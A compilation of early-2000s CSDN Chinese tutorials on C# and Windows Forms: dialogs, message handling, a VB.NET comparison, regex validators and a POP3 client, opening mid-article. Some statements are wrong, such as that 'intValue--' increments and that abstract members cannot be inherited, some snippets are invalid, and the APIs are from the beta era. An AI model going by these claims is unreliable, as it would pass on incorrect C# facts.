D区是属性窗口：类似我们在VC6中资源编辑器里的属性窗口，但功能更强大，对于屏幕上的组件比如按钮、列表框你都可以在这里直接修改其属性：如文字、背景色等。

我们接下去的任务是制作关于对话框，并添加菜单用于打开此对话框。

二、添加新的Form：关于对话框
选择菜单Project->Add Windows Form,在弹出的对话框中选择类别为Local Project Items,选择模板为Windows Form,在Name中输入文件名:AboutDlg.cs，确认。新的Form出现在工作区，我们在D区的属性对话框中修改Text为“关于”，选择BackColor为淡蓝色，你也可以尝试其它属性的改变。
接下去，我们打开Toolbox，选择Win Forms中的Label,然后在窗体中画出，并在属性对话框中修改Text为"VC知识库欢迎您!http://www.vckbase.com",我们在Win Forms中再加入一个Button，修改Text为“确认”。

至此，对话框的界面我们设计好了，但当用户按下确认按钮的时候，我们如何关闭对话框呢？
我们双击“确认”按钮，这样系统会为按钮自动添加按钮的处理代码，在其中我们添加Close()函数用以关闭，如下所示：

protected void button1_Click (object sender, System.EventArgs e)
{
Close(); ///这是我们增加的一句
}

关于对话框已经完成了，我们接下去要做的是为主视窗添加菜单，当选择菜单中的关于，我们就弹出“关于对话框”，让我们继续吧...

三、为主视窗添加菜单

在SolutionView中双击Form1.cs打开Form1,在Toolbox->Win Forms中选择MainMenu,并在Form1中画出，在“TypeHere”字样处我们可以输入菜单条，如图所示：

双击关于字样，系统会为我们添加该菜单条的处理代码，我们可以在其中添加打开"关于对话框"的代码：

protected void button1_Click (object sender, System.EventArgs e)
{
AboutDlg dlg = new AboutDlg();///分配AboutDlg对象
dlg.ShowDialog();///显示对话框
}

好了，我们的程序写好了，让我们按F5看看效果吧！

后记：C#的功能远远不止与此，本文的目的是让用过VC6的朋友对C#中WINDOWS应用程序的开发尽快上手，只当抛砖引玉。


csdn_用C#开发第一个WINDOWS应用程序(C#学习笔记之二)

  用C#开发第一个WINDOWS应用程序(C#学习笔记之二)
作者： 王骏
WINDOWS应用程序是靠消息驱动的，在VC中我们通过CLASSWIZARD可以为某窗口类添加消息处理函数，CLASSWIZARD将为你添加消息映射，对于WINDOWS消息,生成的消息处理函数重载了基类的虚拟方法。而在C#中如何处理消息呢？本文针对VS.NET BETA1环境下的C#简单地介绍WINDOWS消息以及自定义消息的处理方法。

示例代码下载 17K
http://www.vckbase.com/study/article/csharp/msgapplication.zip

一、生成一个名为MSGApplication的工程
工程的建立方法请参考:C#学习笔记之一

二、处理WM_PAINT消息
我们以WM_PAINT消息的处理为例，在C#中处理消息与MFC的消息处理是类似的，但更为简单。MFC中需要使用DECLARE_MESSAGE_MAP来定义消息映射，在C#就不需要了。比如WM_PAINT消息，我们只要重载父类中的OnPaint虚拟方法即可（虽然在BETA1中重载父类虚拟方法的操作过程有点繁琐），方法如下：
在菜单View->Other Windows->Object Browser打开对象浏览窗口(或用CTRL+ALT+J打开),在我们的工程名下找到Form并选中，这时在右边的窗口列出所有Form类的成员函数，如图所示：
我们选中OnPaint(System.WinForms.PaintEventArgs)此时在下面会显示完整的OnPaint函数protected void OnPaint ( System.WinForms.PaintEventArgs e )我们将这一行字符串Copy下来。打开Form1.cs进行代码编辑，我们把刚才拷贝下来的函数定义复制到Form1类里面，并加上override关键字,此时我们便可以在里面添加我们的消息处理代码了，请参考如下代码段:

protected override void OnPaint ( System.WinForms.PaintEventArgs e )
{
Font font = new Font("黑体",28);///定义字体：黑体，大小：28
SolidBrush bluepen = new SolidBrush(Color.Blue);///创建蓝色画笔
SolidBrush blackpen = new SolidBrush(Color.FromARGB(0xa0,0xa0,0xb0));///创建黑色画笔
e.Graphics.DrawString("VC知识库",font,blackpen,65,25);///写字符串
e.Graphics.DrawString("VC知识库",font,bluepen,61,21);///偏移4个象素用不同的颜色再写一次，达到立体效果
}

对于其它消息的处理以及对其它父类虚拟函数的重载都可以采用同样的方法。

三、自定义消息的处理
为了处理的方便，在这里我们将需要使用到的自定义消息封装成一个类，类的添加过程如下：
在ClassView中选中我们的工程MSGApplication,按下鼠标右键，在弹出菜单中选择Add->Add Class,弹出Class Wizard,我们将类命名为WM,其余选项不便,确认完成类的添加。我们为WM类添加两个成员变量,见如下代码:

public class WM
{
public const int USER = 0x0400;
public const int TEST1 = USER+1;
}

我们在Form1中添加一个按钮，并为该按钮添加事件处理代码(假如您对这个过程不熟悉，请参考:C#学习笔记之一)
向主视窗发送TEST1自定义消息，具体代码如下:
protected void button1_Click (object sender, System.EventArgs e)
{
SendMessage(WM.TEST1,100,200);
}

消息已经发出了，在Form1中我们如何对该消息作出响应呢？我们可以重载 DefWndProc方法。

protected override void DefWndProc ( ref System.WinForms.Message m )
{
switch(m.msg)
{
case WM.TEST1:
///string与MFC中的CString的Format函数的使用方法有所不同
string message = string.Format("收到消息!参数为:{0},{1}",m.wParam,m.lParam);
MessageBox.Show(message);///显示一个消息框
break;
default:
base.DefWndProc(ref m);///调用基类函数处理非自定义消息。
break;
}
}

程序运行结果如图

当我们点发送消息按钮，弹出消息框并显示收到的参数。

后记：可以预料在VS.NET BETA1的后继版本中对上述过程的操作会有很大改变，但原理是一致的。让我们期待更完美的C#展现在我们面前。


csdn_VB.NET和C#

  VB.NET和C#
作者： 杜修平 译
面向对象的编程在.NET世界是不可避免的。你该选择哪一种语言呢？

随着VB.NET的推出，微软已经赋予了VB程序员多年来长期要求的所有特性，即一种真正的面向对象的编程语言。你也许听到过VB.NET改动之大甚至你都无法认识的嗡嗡讨论声。确实，他们不得不去掉语言中的一些次要的东西，并且改变一些对象、属性和方法。但这对大多数VB程序员来说不是一个大的负担。事实上，我认为当你开始经常使用后，你会发现它比以前的VB版本更简单、直观。因为对VB.NET将存在着学习曲线，你也许会对C#好奇而想知道是否该放弃VB。
假如你现在是一位VB程序员，特别是有多年的编程经验，你完全不必转到另一种编程语言象C#、Delphi。虽然它们有一些细小的差别，你会发现VB的核心语言仍然是相同的。主要的变化是你在VB.NET中使用的对象、属性和方法。你必须学习这些新东西而不管选择使用哪一种.NET语言。
现在，假如你从古老的DOS岁月就一直使用BASIC，那么你会受到一些打击，因为他们已经去掉了GoSub， While/Wend，Let a=b和其它大量的陈旧命令。但是微软一直在警告你任何地方都不要使用这些非结构化的声明。
VB.NET的优点
VB.NET有着C#不具备的特性。例如，IsDBNull()函数在VB.NET存在，而C#没有。VB.NET有求幂功能并能使用Redim重新分配数组，这些在C#中也不可能。C#对关键词和变量是大小写敏感的，大部分VB程序员不习惯于这点。而这会浪费时间除非你在输入时确实保持了一致。个人来说，我喜欢VB中使用If. . .End If和Do. . .Loop，反对C#中使用curly braces。我发现很难跟踪这些braces。Select Case声明比C#更容易、简洁。在C#中，你必须始终使用break语句来跳出select声明。在VB中，你能用Case 1 to 50；在C#中你必须编写50个单独的case声明来实现此功能。
当你正使用VB的OOP（面向对象编程）特性时，你会发现象Inherits， MustInherit，NotInheritable， Overridable这样的关键词，在C#中这些同样的特性却包含于神秘的单词和语法中。例如，在VB.NET中为了继承一个基类，你可能写如下的代码：

Public Class Person
...
End Class
Public Class Employee
Inherits Person
...
End Class

C#中同样的代码是：

public class Person
{
public Person() {
...
}
}
public class Employee : Person
{
public Employee() {
...
}
}

假如你不仔细查看，也许会忽略这个事实，C#版本中的Employee类是从Person类继承的（用Employee : Person语法表示）。

升级进程会有多糟呢？

从VB6到VB.NET的迁移不会没有挑战，但是现在你可以做些事来准备。首先，使用类，COM 组件，和n-tier（n-层）开发技术。假如你使用这些编程结构，到转向.NET时就会有最容易的迁移路径。有一些编程风格不会如此容易的迁移——例如，基于非0的数组，隐式变量（没有使用Option Explicit）和Jet或RDO。你不得不做大量的重写工作来转换这些类型的应用。

在你已存在的应用中继续使用VB6，在新的开发时采用VB.NET，没有什么错。这两种在一台机器上相处融洽。事实上，这成了一个通用方法。

C#介绍

微软创建C#时怀有几个目的。首先，他们需要一个Java的替代品。随着他们和这种语言的持续法庭斗争，以及大多数人认为Java是Sun的产品，微软需要自己的类似Java的语言，并且能很明显看出是他们自己的。另外，微软想要一种新的、干净的语言，没有用户仍然需要维持的任何遗留代码。结局就是一种干净的语言，没有大量的包袱。

最愿意使用C#语言的是Java，C和 C++ 开发人员。这些开发人员已经熟悉了语言的结构和大小写敏感。他们也需要对待到.NET的学习曲线，因此他们不会比VB程序员有太多的优势。

C#的优点

我无可否认的是一个VB支持者，但是C#确实有一些优点。例如，多行注释的能力，不需要重复注释字符是相当灵活的。C#也能做前和后的自增、自减，例如：

intValue--
intValue-

上述代码的第一行使变量intValue增加1。第二行使变量减少1。相对于VB版本更长的intValue += 1，这是一种漂亮的速记。

C#的另一个好处是当前在beta版中比VB.NET有更多的示例程序。在未来发行时很可能发生变化。

虽然商业应用软件中不是经常使用，C#允许你使用指针。然而指针能导致许多问题，你需要它们也许有一段时间。在这种场合下，C#比VB有一点微小的优势。然而在我的编程生涯中，很少用到指针。

C#能使用定义在.NET 运行时的Unsigned数据类型。再一次，商业应用软件中对这点的需要并不经常，但是它是C#比VB.NET有对.NET运行时引擎更多访问能力的一个方面。

迁移之路

VB6通向VB.NET的路不会容易，但我认为你值得花时间学习这种新语言。同时，我推荐你开始学习OOP风格的编程，在.NET世界的编程中肯定需要。无论你选择哪一种语言，你将发现.NET平台对创建桌面，Internet，intranet和分布式应用是极其好的。


csdn_c#中对mdi的操作源码

c#中对mdi的操作源码
内容:
child.cs
------------------------------------------------------------

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;

namespace testagain
{
/// <summary>
/// Summary description for child.
/// </summary>
public class child : System.Windows.Forms.Form
{
private System.Windows.Forms.Label lbl_about;
private System.Windows.Forms.Label label1;
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components
= null;

public child(Form f_MainForm)
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
this.MdiParent = f_MainForm;

//
// TODO: Add any constructor code after
InitializeComponent call
//
}

/// <summary>
/// Clean up any resources being used.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if(components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}

#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not
modify
/// the contents of this method with the code
editor.
/// </summary>
private void InitializeComponent()
{
this.lbl_about = new System.Windows.Forms.Label
();
this.label1 = new System.Windows.Forms.Label();
this.SuspendLayout();
//
// lbl_about
//
this.lbl_about.Font = new System.Drawing.Font
("黑体", 24F, System.Drawing.FontStyle.Regular,
System.Drawing.GraphicsUnit.Point, ((System.Byte)(134)));
this.lbl_about.Location = new
System.Drawing.Point(56, 48);
this.lbl_about.Name = "lbl_about";
this.lbl_about.Size = new System.Drawing.Size
(344, 40);
this.lbl_about.TabIndex = 0;
this.lbl_about.Text = "MDI窗体操作演示示例";
//
// label1
//
this.label1.Location = new System.Drawing.Point
(312, 112);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(136,
16);
this.label1.TabIndex = 1;
this.label1.Text = "东方蜘蛛 2001-7-1";
//
// child
//
this.AutoScaleBaseSize = new System.Drawing.Size
(6, 14);
this.ClientSize = new System.Drawing.Size(536,
329);
this.Controls.AddRange(new
System.Windows.Forms.Control[] {

this.label1,

this.lbl_about});
this.Name = "child";
this.StartPosition =
System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "MDI窗体操作演示_子窗体";
this.WindowState =
System.Windows.Forms.FormWindowState.Maximized;
this.ResumeLayout(false);

}
#endregion
}
}


csdn_VB程序员眼中的C（1）

VB程序员眼中的C（1）
内容:
而且，我将从VB编程者的角度，在尽可能的情况下对C# 和VB进行概
念、语法和使用上的比较。目的只有一个：就是使VB开发者快速进入
功能强悍的C# 编程世界。

     C# 是用于.Net 公用语言运行环境的内置语言，设计本意是创
建一些功能强大且耐用的组件，这些组件用来处理实际运行中出现的
情况。

     C# 对象不需要创建，不需用使用头文件或类型库。用 C# 创建
的组件完全是自描述类型的，程序无需注册就能使用。C# 聚集
了.NET公用语言运行时间环境的强大功能。

     .NET 环境

     NET是什么样的一个环境呢？我们可以大致描述如下：

     l 在 .NET 环境中使用的语言可以是任何 .NET 类语言，包括
VB、C++、C# 和Java。这个环境支持使用 C# 代码中的现有语言，这
意味着我们可以让用 VB 创建的com 组件看起来是 .NET 的运行时间
组件。

     l 在.NET运行时间环境中，所有的错误都作为意外报告。

     l .NET环境包含基类库，这个库中包含着在运行时间库中所能
发现的典型函数。

     l .NET环境通过碎片帐集集合管理其自身的内存。

     l .NET环境中包含了跨语言调试。调试甚至可以超越在不同机
器上运行的不同语言而进行。

     l .NET环境将应用程序组件互相分开，这样应用程序就可以只
运行它所携带的组件，而不用运行其它应用程序所携带的不同版本的
组件。

     l .NET使开发人员不再编写臃肿的代码，并且可以用他们所习
惯的语言来编写应用程序。

     汇编

     当使用.NET编译器之一对代码进行编译的时候，这个打包的机
制就叫做汇编。代码编译之后，它就被转换成一种中间过渡格式，叫
做“IL”。汇编包含了所有的IL、元数据以及运行这个包所需要的其
它文件。这与一个CAB文件相同。汇编可以包含在一个或多个文件
中。一个用VB编写的类可以作为一个用C#编写的类的基本类。

     一个名字空间只不过是一个标识符。“Me.Text1”就是这样一
个例子，其中“Me”就是名字空间。名字空间是用名字空间语句来定
义的。下面就是在C#中名字空间应用的一个例子：

     namespace System

     {

     class MyClass

     {

     public static void Function() {}

     }

     Using

     使用Using的目的是使用户在引用类型前不需要键入名字空间。
比如，下面的例子中我们就可以去掉“System.Console”，而只引用
“Console”：

     using System;

     class Hello

     {

     public static void main(string[] args)

     {

     Console.WriteLine("Value is: {0},3.ToString());

     }

     }

     一个名字空间只不过是一个标识符。“Me.Text1”就是这样一
个例子，其中“Me”就是名字空间。名字空间是用名字空间语句来定
义的。下面就是在C#中名字空间应用的一个例子：

     namespace System

     {

     class MyClass

     {

     public static void Function() {}

     }

     Using

     使用Using的目的是使用户在引用类型前不需要键入名字空间。
比如，下面的例子中我们就可以去掉“System.Console”，而只引用
“Console”：

     using System;

     class Hello

     {

     public static void main(string[] args)

     {

     Console.WriteLine("Value is: {0},3.ToString());

     }

     }


csdn_VB程序员眼中的C（2）

VB程序员眼中的C（2）
内容:
以下是C#中可以使用的数据类型列表：

          类型
     字节数
     运行时间类型
     描述

     byte
     1
     Byte
     无符号字节

     sbyte
     1
     sByte
     有符号的字节

     short
     2
     Int16
     有符号的短字节

     ushort
     2
     UInt16
     无符号的短字节

     int
     4
     Int32
     有符号的整型数

     uint
     4
     UInt32
     无符号的整型数

     long
     8
     Int64
     有符号的大整型数

     ulong
     8
     UInt64
     无符号的大整型数

     float
     4
     Single
     浮点数

     double
     8
     Double
     双精度数

     decimal
     8
     Decimal
     固定精度数

     string
     String
     Unicode 字符串

     char
     Char
     Unicode 字符

     bool
     Boolean
     Boolean 值

     综合而言，数据类型主要分成两类：1、数值类型：stack型分
配 2、引用类型：heap型分配

     一个程序通常有一个主函数，以表示程序的入口，它的名字一
般是main。下面是一个简单的没有返回值的主函数，函数名前是void
类型：

     Using System;

     Class Test

     {

     public static void Main()

     {

     Console.Writeline("Hello Universe!");

     }

     }

     再请看一个简单的返回整数值的主函数，函数名前是int类型：

     Using System;

     Class Test

     {

     public static int Main()

     {

     Console.Writeline("Hello Universe!");

     return(0);

     }

     }

     当需要把一个值限制在一定范围内的时候就得使用枚举类型，
这与VB中的枚举概念相同。

     比如：

     public enum enmFillColor

     {

     Blue,

     Green,

     Red

     }

     在 C# 中，每个枚举项都有一个内在的默认类型以确定存储分
配。如果没有指定基本类型，就将使用integer。请看下面的指定基
本类型的例子：

     enum SmallEnum : byte

     {

     A,

     B,

     C,

     D

     }

     }

     Delegates

     Delegates用于为一个单独的方法定义一个模板，而不是为一系
列相关方法定义模板。一个Delegates定义一个函数，但不执行它。
Delegates在一个事件源和一个事件目的之间起到中间媒介作用。

     C# 中的事件与VB中的事件作用相同。但是在C# 中，任何类都
可以产生一套事件，并且任何对象都可以捆绑这些事件。C# 中的事
件是以Delegates为基础的。设计事件时，通常认为Delegates要接受
两个参数：第一个参数是引起事件的对象，第二个参数是以个包含事
件自变量的对象。

     现在我们为一个事件定义一个Delegates，当有新邮件到来时将
激活这个事件：

     ===delegate声明=============

     pubic delegate void NewMailEventHandler(object Sender,
NewMailEventArgs e);

     ===事件声明=============

     public event NewMailEventHandler OnNewMailHandler;

     属性

     C# 中的属性与VB中的属性相同。请看下面的一个简单属性的例
子：

     Class Test

     {

     private string name;

     public string Name;

     {

     get

     {

     return name

     }

     set

     {

     name=value;

     }

     }

     }

     get 方法和set 方法都是所谓的“accessor”（存取器）方
法。

     我们也可以使用virtual、override 或 abstract 修饰符来声
明属性。现在我们来设置属性：

     Test t= New Test();

     t.Name="This is the name"

     如同在VB 中一样，要建立一个只读属性，可以省略“get”。
注意，属性可以被继承。

     可以把Indexers看成是一个聪明的数组，当想要用类似于数组
的方式通过索引存取一个属性时就可以使用Indexers。比如：

     public double this[intindex]

     Attributes

     Attributes指的是放在源代码元素上的注解，与VB中的条件汇
编相同。但是在 C# 中，Attributes信息是存储在元素的元数据中
的，在运行时间可以用 reflection 来恢复。


csdn_vb程序员眼中的c(3)

VB程序员眼中的C（3）
内容:
例外处理

     例外指的是C# 中默认的处理错误的方法。这与VB中的错误处理
代码不同，因为例外是不可以被忽略的。处理例外时，将可能导致错
误的代码区包含在 Try 区中，将错误处理代码放置在 Catch 区中。
这与 VB 的“On Error Goto”语句功能相同。请看下面的2个例子：

     try

     {

     int j = 22 / 0;

     }

     catch (Exception e)

     {

     Console.Writeline("Exception " + e.Message);

     }

     再请看将例外传递到调用函数的部分：

     Caller Beware：这个方法并不捕捉例外。这与 VB 中的“On
Error Resume Next”相同。

     Caller Confuse：这个方法捕捉例外、处理例外，并将例外重
新抛出。这与VB 的“On Error Goto”以及错误处理代码中的
“Err.Raise”相同。

     Caller Inform：这个方法捕捉例外，并将其包裹在有额外信息
的另一个例外中。

     Finally部分：

     这是放置清除代码的地方。举例来说，在一个 I/O 操作中关闭
一个文件。在 finally 区内部的代码必须要保证在退出一个函数之
前执行，而不管例外是否已被抛出。请看下面的例子：

     （打开文件（作为‘f’引用）的代码）

     finally

     {

     f.close()

     }

     基础类是那些继承来的类。派生类是那些继承了一个基础类的
类。

     Constructor（构造器）

     Constructor是一个方法，当构造一个类的一个对象时调用它，
通常在初始化一个类时被使用。一个Constructor方法与类的名字相
同、没有返回类型而且不返回任何值。

     Ref 和 Out

     将一个参数标记为 Ref 类型意味着对其值进行的任何修改都会
维持，这与 VB 的‘By Reference’相似。比如下面的例程代码执行
后，p 的值将被改变：

     void refMethod(ref int n)

     {

     n += 3;

     }

     int p = 3;

     refMethod(ref p);

     当方法需要给参数赋值时，就使用out，比如在下面的代中，p
的值将被设置：

     void outMethod(out int n)

     {

     n=3;

     }

     int p;

     outMethod(out p)

     Overloading

     在C# 中，Overloading 允许我们可以用同一个名字声明多于一
个的方法，同时要求它们在自变量的数量和（或）类型上要有所不
同，这样计算机就能分辨出使用哪个方法了。

     Reflection

     Reflection是能够在运行时间得到对象信息的能力，这与VB 中
的 TypeOf 操作符数相同。但是在 C# 中还有功能相同的 GetType
()。C# 将类型对象用于reflection，也可以用来获得对象中的所有
元数据。

     虚拟函数就是指：在要确定究竟调用哪个方法（一个基本类或
派生类中的一个）的地方被延迟的函数。根据类型不同，函数将延迟
到运行时间。比如说，有一个类‘CivilEngineer’，它含有一个方
法叫做‘Charge’。这个类是从Engineer 中派生出来的，而且
Engineer也有一个方法叫做‘Charge’。这时，一个虚拟函数将允许
运行时间判断对象是一个 Engineer还是一个CivilEngineer，然后执
行合适的函数。

     Override 修饰符

     Override 与继承有关系。比方说，类‘A’和类‘B’都有一个
函数叫做‘SaveAllRecords’，如果让类‘B’继承类‘A’，这样类
‘B’就成了派生类，而类‘A’就成了基本类。如果用override 这
个关键字来执行函数‘SaveAllRecords’，那么使用的是类‘B’中
的函数而不是类‘A’中的函数。

     抽象类

     抽象类与普通类基本相同，只不过是其中有一个或多个成员函
数被标记为抽象类型。将成员函数标记为抽象类型意味着这个成员函
数不能被继承。

     封闭类

     要防止类被继承，可以将这个类标记为封闭的。这时，任何试
图从这个类中派生的行为都将导致编译错误。下面请看定义为封闭类
的例子：

     public sealed class x

     {

     }

     Internal

     如果将Internal 修饰符放在一个类或成员上，那么这个类或成
员就只能被同一个汇编中的其它类使用。这与 VB 中的 Friend 修饰
符相同。

     Protected

     Protected修饰符用于准许对从这个类中派生出来的类进行访
问。

     Internal Protected

     Internal Protected 表示允许Internal 或 Protected 访问。

     初始化

     在C# 中，声明一个成员的同时就可以设置其初始值，从而简化
代码。比如：

     public int counter=100;

     public string heading="Top";

     常数

     C# 中的常数与VB 中的常数相同，比如：

     const int m=10;

     而且，在 C# 中可以进行计算后在对常数附值，从而大大地提
高了灵活性。比如：

     const int n = m * 4;

     通过使用ReadOnly，我们可以在构造器或初始数中设置一个
值，这个值以后就不能再被修改。

     比如，我们将一个叫做Color 的属性设定为ReadOnly：

     public static readonly Color Red;


VB程序员眼中的C（4）
内容:
Structs

     C# 中的Struct 是一种合成数据类型，由一些元素或数据类型
组成。我们可以将它与 VB 中的用户定义类型相比较。比如：

     struct Point

     {

     public int x;

     public int y;

     }

     然后就可以象下面一样引用这个struct：

     Point p1;

     p1.x=10;

     p1.y=10

     As

     As 操作符用于检查左侧操作数的类型，如果可以的话就将它转
换成右侧操作数。比如：

     int a as b;

     如果‘a’能被转换成‘b’，就进行这个转换。

     If

     在C# 中没有‘Then’或‘ElseIf’语句，这一点不象VB。以下
是 VB 和 C# 中 If 语句的比较：

     在VB中：

     If size < 60 then

     value=50

     end if

     在C#中：

     If (size < 60);

     value=50;

     在C# 中Switch 是分支判断语句，它类似于VB 中的‘Case’语
句。比如：

     在VB中：

     Select Case X

     Case 1

     Func1

     Case 2

     Func 2

     End Select

     在C#中：

     switch (x);

     {

     case 1:

     func1();

     break;

     case 2:

     func2(0);

     break;

     }

     C# 中的While与 VB 中的While语句完全相同。当条件为真时，
循环就执行。在一个While 循环内部可以使用 Break 语句跳出循环
体或者使用Continue 语句继续循环操作。请看下面While语句的应用
代码：

     while (n < 10)

     {

     console.writeline(n);

     n++;

     }

     Do

     C# 中的Do循环与 VB 中的Do循环完全相同，它们都在循环的结
尾才对条件进行判断。比如：

     do

     {

     console.writeline(n);

     n++;

     }

     while (n < 10);

     C# 中的For循环与 VB 中的For循环非常相似，只不过循环变量
可以在For循环中进行例示。

     请看下面的代码：

     {

     for (int n=0;n< 10;n++)

     console.writeline(n);

     }

     它进行了以下操作：

例示变量n，并给其赋值为 0
只要 n 小于10就继续循环
每个循环给 n 增加1


csdn_VB程序员眼中的C（5）

VB程序员眼中的C（5）
内容:
ForEach

     C# 中的ForEach 与 VB 中的For Each 语句非常相似。比如：

     在VB 中：

     For Each objItem in colCollection

     ..执行一些代码

     next

     在C# 中：

     foreach (int i in arr1) {

     ..执行一些代码

     }

     Jump

     C# 中Jump 语句就象VB中的Goto 语句，用于从一个语句跳转到
另一个语句。

     Break

     Break语句用来结束当前循环或者 switch 语句。

     Continue

     Continue语句跳过循环体中后面的程序行，继续执行循环。

     Return

     Return 语句返回到调用的程序，并返回一个数值。比如：

     class Test

     {

     Public bool TestMe()

     {

     ..执行一些代码

     return true

     }

     }

     Arrays

     在C# 中，创建数组变量的同时就可以对它们进行初始化。比
如：

     int[] store={12}

     再看看多维数组的定义：matrix[0][3]=4;

     一个Identifier是用于程序元素的名字。如果我们必须在C# 代
码中使用其它语言的保留字，就可以使用一个Identifier。 在下面
的代码中，checked是一个关键字，@ 是Identifier：

     public void @checked()

     注释

     以下是C# 中的注释表示法，它与 Java 中的用法相同：

     // 这是一个单行的注释

     /*

     * 这是一个多行的注释

     */

     结 语
     OK，终于到站了。以上对C# 语言的概念、语法和使用上的描
述，不知道是否对你有所帮助？VB开发者，你是否看到了熟悉的术
语？如果答案是yes，我就欣慰了;-)


csdn_c#里正则表达式的例子

c#里正则表达式的例子
内容:
using System.Text.RegularExpressions;
using System;

class Validation
{
public static void Main()
{
String strToTest;
Validation objValidate=new Validation();

Console.Write("Enter a String to Test for Alphabets:");
strToTest=Console.ReadLine();
if(objValidate.IsAlpha(strToTest))
{
Console.WriteLine("{0} is Valid Alpha
String",strToTest);
}
else
{
Console.WriteLine("{0} is not a Valid Alpha
String",strToTest);
}
}

// Function to test for Positive Integers.

public bool IsNaturalNumber(String strNumber)
{
Regex objNotNaturalPattern=new Regex("[^0-9]");
Regex objNaturalPattern=new Regex("0*[1-9][0-9]*");

return !objNotNaturalPattern.IsMatch(strNumber) &&
objNaturalPattern.IsMatch(strNumber);
}

// Function to test for Positive Integers with zero
inclusive

public bool IsWholeNumber(String strNumber)
{
Regex objNotWholePattern=new Regex("[^0-9]");

return !objNotWholePattern.IsMatch(strNumber);
}

// Function to Test for Integers both Positive & Negative

public bool IsInteger(String strNumber)
{
Regex objNotIntPattern=new Regex("[^0-9-]");
Regex objIntPattern=new Regex("^-[0-9]+$|^[0-9]+$");

return !objNotIntPattern.IsMatch(strNumber) &&
objIntPattern.IsMatch(strNumber);
}

// Function to Test for Positive Number both Integer &
Real

public bool IsPositiveNumber(String strNumber)
{
Regex objNotPositivePattern=new Regex("[^0-9.]");
Regex objPositivePattern=new Regex("^[.][0-9]+$|[0-9]*
[.]*[0-9]+$");
Regex objTwoDotPattern=new Regex("[0-9]*[.][0-9]*[.][0-
9]*");

return !objNotPositivePattern.IsMatch(strNumber) &&
objPositivePattern.IsMatch(strNumber) &&
!objTwoDotPattern.IsMatch(strNumber);
}

// Function to test whether the string is valid number or
not
public bool IsNumber(String strNumber)
{
Regex objNotNumberPattern=new Regex("[^0-9.-]");
Regex objTwoDotPattern=new Regex("[0-9]*[.][0-9]*[.][0-
9]*");
Regex objTwoMinusPattern=new Regex("[0-9]*[-][0-9]*[-]
[0-9]*");
String strValidRealPattern="^([-]|[.]|[-.]|[0-9])[0-9]*
[.]*[0-9]+$";
String strValidIntegerPattern="^([-]|[0-9])[0-9]*$";
Regex objNumberPattern =new Regex("(" +
strValidRealPattern +")|(" + strValidIntegerPattern + ")");

return !objNotNumberPattern.IsMatch(strNumber) &&
!objTwoDotPattern.IsMatch(strNumber) &&
!objTwoMinusPattern.IsMatch(strNumber) &&
objNumberPattern.IsMatch(strNumber);
}

// Function To test for Alphabets.

public bool IsAlpha(String strToCheck)
{
Regex objAlphaPattern=new Regex("[^a-zA-Z]");

return !objAlphaPattern.IsMatch(strToCheck);
}

// Function to Check for AlphaNumeric.

public bool IsAlphaNumeric(String strToCheck)
{
Regex objAlphaNumericPattern=new Regex("[^a-zA-Z0-9]");

return !objAlphaNumericPattern.IsMatch(strToCheck);
}

}


csdn_如何使用C#访问POP3服务器

如何使用C#访问POP3服务器
内容:
This is a follow up to my SMTP example that shows how to
access your POP3 server. This program connects and logs on
to your POP3 server, and checks to see how many new
messages you have.

The instantiation of the POP is in Main() like this:
POP pop = new POP("pop-server", "loginname", "password");
You must replace "pop-server" with the name of your POP
server, "loginname" with your own log in, and "password"
with your password. The class has two methods. The Connect
method takes care of actually logging in to the server. The
TCPClient class is used to establish the connection.
The "user" and "pass" commands are used to login. Connect
returns a NetworkStream object created during the
connection process. The second method is
GetNumberOfNewMessages, which returns the number of unread
messages on the server. The response to the "stat" command
is parsed to extract the number of new messages.

Requirement:

Requires .NET SDK

How To Compile?

csc /r:System.Net.dll /r:System.IO.dll pop.cs

Source Code

using System.Net.Sockets;
using System.IO;
using System.Net;
using System;

class POP
{
string POPServer;
string user;
string pwd;
public POP(){}
public POP(string server, string _user, string _pwd)
{
POPServer = server;
user = _user;
pwd = _pwd;
}
private NetworkStream Connect()
{
TCPClient sender = new TCPClient(POPServer,110);
Byte[] outbytes;
string input;
NetworkStream ns = null;
try{
ns = sender.GetStream();
StreamReader sr = new StreamReader(ns);
Console.WriteLine(sr.ReadLine() );

input = "user " + user + "\r\n";
outbytes = System.Text.Encoding.ASCII.GetBytes
(input.ToCharArray());
ns.Write(outbytes,0,outbytes.Length) ;
Console.WriteLine(sr.ReadLine() );

input = "pass " + pwd + "\r\n";
outbytes = System.Text.Encoding.ASCII.GetBytes
(input.ToCharArray());
ns.Write(outbytes,0,outbytes.Length) ;
Console.WriteLine(sr.ReadLine() );

return ns;
}
catch(InvalidOperationException ioe){
Console.WriteLine("Could not connect to mail server");
return ns;
}
}
public int GetNumberOfNewMessages()
{
Byte[] outbytes;
string input;
try{
NetworkStream ns = Connect();
StreamReader sr = new StreamReader(ns);

input = "stat" + "\r\n";
outbytes = System.Text.Encoding.ASCII.GetBytes
(input.ToCharArray());
ns.Write(outbytes,0,outbytes.Length);
string resp = sr.ReadLine();
Console.WriteLine(resp);
string[] tokens = resp.Split(new Char[] {' '});

input = "quit" + "\r\n";
outbytes = System.Text.Encoding.ASCII.GetBytes
(input.ToCharArray());
ns.Write(outbytes,0,outbytes.Length);
Console.WriteLine(sr.ReadLine());

sr.Close();
ns.Close();
return tokens[1].ToInt32();
}
catch(InvalidOperationException ioe){
Console.WriteLine("Could not connect to mail server");
return 0;
}
}
public static void Main()
{
POP pop = new POP("pop-server", "loginname", "password");
Console.WriteLine("New Messages = {0}",
pop.GetNumberOfNewMessages() );
Console.ReadLine();
}
}


csdn_C#编程三步走之完整代码

C#编程三步走之完整代码
内容:
最后，请看完整的代码：
using System;
using System.WinForms;

public class TempConverter : System.WinForms.Form
{

Label lTempFah = new Label();
Label lTempCel = new Label();
TextBox tTempFah = new TextBox();
TextBox tTempCel = new TextBox();
Button bnCtoF = new Button();
Button bnFtoC = new Button();

public TempConverter() {
this.SetSize(180,90);
this.BorderStyle =
FormBorderStyle.FixedDialog;
this.Text = " +C －> +F / +F －> +C ";
this.StartPosition =
FormStartPosition.CenterScreen;
this.HelpButton = false;
this.MaximizeBox = false;
